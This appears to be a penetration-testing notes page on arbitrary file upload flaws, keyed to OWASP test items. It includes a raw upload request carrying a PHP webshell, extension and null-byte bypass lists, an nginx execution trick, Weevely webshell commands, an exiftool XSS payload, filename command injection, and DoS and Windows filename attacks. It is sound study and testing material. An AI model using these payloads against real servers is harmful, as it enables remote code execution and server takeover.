Skip to content

Arbitrary File Upload

OWASP

OWASP Web Security Testing Guide 4.2 > 10. Business logic Testing > 10.8. Test Upload of Unexpected File Types

ID Link to Hackinglife Link to OWASP Description
10.8 WSTG-BUSL-08 Test Upload of Unexpected File Types - Review the project documentation for file types that are rejected by the system. - Verify that the unwelcomed file types are rejected and handled safely. Also, check whether the website only check for "Content-type" or file extension. - Verify that file batch uploads are secure and do not allow any bypass against the set security measures.
10.9 WSTG-BUSL-09 Test Upload of Malicious Files - Identify the file upload functionality. - Review the project documentation to identify what file types are considered acceptable, and what types would be considered dangerous or malicious. - If documentation is not available then consider what would be appropriate based on the purpose of the application. - Determine how the uploaded files are processed. - Obtain or create a set of malicious files for testing. - Try to upload the malicious files to the application and determine whether it is accepted and processed.

An arbitrary file upload vulnerability is a type of security flaw in web applications that allows an attacker to upload and execute malicious files on a web server. This can have serious consequences, including unauthorized access to sensitive data, server compromise, and even complete system control. The vulnerability arises when the application fails to properly validate and secure the uploaded files. This means that the application may not check if the uploaded file is actually of the expected type (e.g., image, PDF), or it may not restrict the file's location or execution on the server.

Exploitation: An attacker identifies the file upload functionality in the target application and attempts to upload a malicious file. This file can be crafted to include malicious code, such as PHP scripts, shell commands, or malware.

Bypassing Validation: If the application doesn't properly validate file types or restricts file locations, the attacker can upload a file with a misleading extension (e.g., uploading a PHP file with a .jpg extension).

Bypass file upload restrictions

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

Mimetype

Dictionary for enumerating all mimetypes: https://github.com/amandaguglieri/dictionaries/blob/main/content-type

Magic number

Some applications inspect the first few bytes of the file's content, which contains the file signature or Magic bytes:

- if a file starts with (GIF87a or GIF89a), this indicates that it is a GIF image

So a technique for bypassing this restriction is leaving those first bytes in the upload request. Example:

POST /upload.php HTTP/1.1
Host: 94.237.55.28:30732
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------363913493316563598061512274268
Content-Length: 344
Origin: http://94.237.55.28:30732
Connection: keep-alive
Referer: http://94.237.55.28:30732/

-----------------------------363913493316563598061512274268
Content-Disposition: form-data; name="uploadFile"; filename="mala.gif.phar"
Content-Type: image/jpeg

ÿØÿàJFIF``ÿþ;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 75
<?php system($_GET['cmd']);?>   

-----------------------------363913493316563598061512274268--

Cheat sheet for php

Source: Repo from imran-parray OWASP deep explanation: link

# try to upload a simple php file
upload.php 

# To bypass the blacklist.
upload.php.jpeg 

# To bypass the blacklist.
upload.jpg.php
#  and Then Change the content type of the file to image or jpeg.
upload.php 

# version - 1 2 3 4 5 6 7
upload.php*

# To bypass a BlackList
upload.PHP 
upload.PhP 
upload.pHp 


# Add backdoor in comments using Exiftool and 
upload.php [getimagesize() 
# rename the jpg file with php so that it will be execute. This Time The Verification of server is only limited to contents of the uploaded file not on the extension

# backdoor in php chunks
phppng.png 

# backdoor in php chunks 
xsspng.png 

# Use the .phtml extension, which PHP web servers often allow for code execution rights.
shelly.phtml

Dictionary for double extensions: PayloadAllTheThings:

.jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg

Dictionary for character injection, following this syntax -> shell.phpFUZZ.jpg:

1
2
3
4
5
6
7
8
9
%20
%0a
%00
%0d0a
/
.\
.
:

Execute a file uploaded as an image in nginx

After bypassing a file upload feature (using .jpg extension but php mimetype), the file is treated by the application as an image.

file

How to bypass that situation? This works in some versions of nginx server:

1
2
3
# After the name of the file with the jpg extension, add slash and the name of the file with the uploaded and accepted mimetype php. After that you can use the CMD command of the webshell.

https://example.com/uploads/lolo.jpg/lolo.php?cmd=pwd

file

Tools

Generate a php webshell with Weevely and saving it an image:

weevely generate secretpassword example.png 

Upload it to the application.

weevely

Make the connection with weevely:

weevely https://example.com/uploads/example.jpg/example.php secretpassword

weevely

Bypass PHP version-based file extension filters when running the file

Sometimes a web server may prevent some php files from running based on their php version. A way of bypassing this situation is indicating in the extension of the file, the version you want to upload.

shell.php7

In this case, the uploaded file could be executed in php v7.

XSS

The most basic example is when a web application allows us to upload HTML files. Although HTML files won't allow us to execute code (e.g., PHP), it would still be possible to implement JavaScript code within them to carry an XSS or CSRF attack on whoever visits the uploaded HTML page.

Another example of XSS attacks is web applications that display an image's metadata after its upload. For such web applications, we can include an XSS payload in one of the Metadata parameters that accept raw text, like the Comment or Artist parameters, as follows:

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
exiftool HTB.jpg

Finally, XSS attacks can also be carried with SVG images, along with several other attacks. Scalable Vector Graphics (SVG) images are XML-based, and they describe 2D vector graphics, which the browser renders into an image. For this reason, we can modify their XML data to include an XSS payload.

XXE

Similar attacks can be carried to lead to XXE exploitation.

DoS

Finally, many file upload vulnerabilities may lead to a Denial of Service (DOS) attack on the web server.

If a web application automatically unzips a ZIP archive, it is possible to upload a malicious archive containing nested ZIP archives within it, which can eventually lead to many Petabytes of data, resulting in a crash on the back-end server.

Another possible DoS attack is a Pixel Flood attack with some image files that utilize image compression, like JPG or PNG. We can create any JPG image file with any image size (e.g. 500x500), and then manually modify its compression data to say it has a size of (0xffff x 0xffff), which results in an image with a perceived size of 4 Gigapixels.  When the web application attempts to display the image, it will attempt to allocate all of its memory to this image, resulting in a crash on the back-end server.

Injections in filename

If we name a file file$(whoami).jpg or file`whoami`.jpg or file.jpg||whoami, and then the web application attempts to move the uploaded file with an OS command (e.g. mv file /tmp), then our file name would inject the whoami command, which would get executed, leading to remote code execution.

If we name a file file$(whoami).jpg or file`whoami`.jpg or file.jpg||whoami, and then the web application attempts to move the uploaded file with an OS command (e.g. mv file /tmp), then our file name would inject the whoami command, which would get executed, leading to remote code execution

Windows-specific Attacks

One such attack is using reserved characters, such as (|, <, >, *, or ?), which are usually reserved for special uses like wildcards. If the web application does not properly sanitize these names or wrap them within quotes, they may refer to another file (which may not exist) and cause an error that discloses the upload directory. Similarly, we may use Windows reserved names for the uploaded file name, like (CON, COM1, LPT1, or NUL), which may also cause an error as the web application will not be allowed to write a file with this name.

Finally, we may utilize the Windows 8.3 Filename Convention to overwrite existing files or refer to files that do not exist. Older versions of Windows were limited to a short length for file names, so they used a Tilde character (~) to complete the file name, which we can use to our advantage.

For example, to refer to a file called (hackthebox.txt) we can use (HAC~1.TXT) or (HAC~2.TXT), where the digit represents the order of the matching files that start with (HAC). As Windows still supports this convention, we can write a file called (e.g. WEB~.CONF) to overwrite the web.conf file. Similarly, we may write a file that replaces sensitive system files. This attack can lead to several outcomes, like causing information disclosure through errors, causing a DoS on the back-end server, or even accessing private files.

Last update: 2025-01-27
Created: April 3, 2024 20:13:02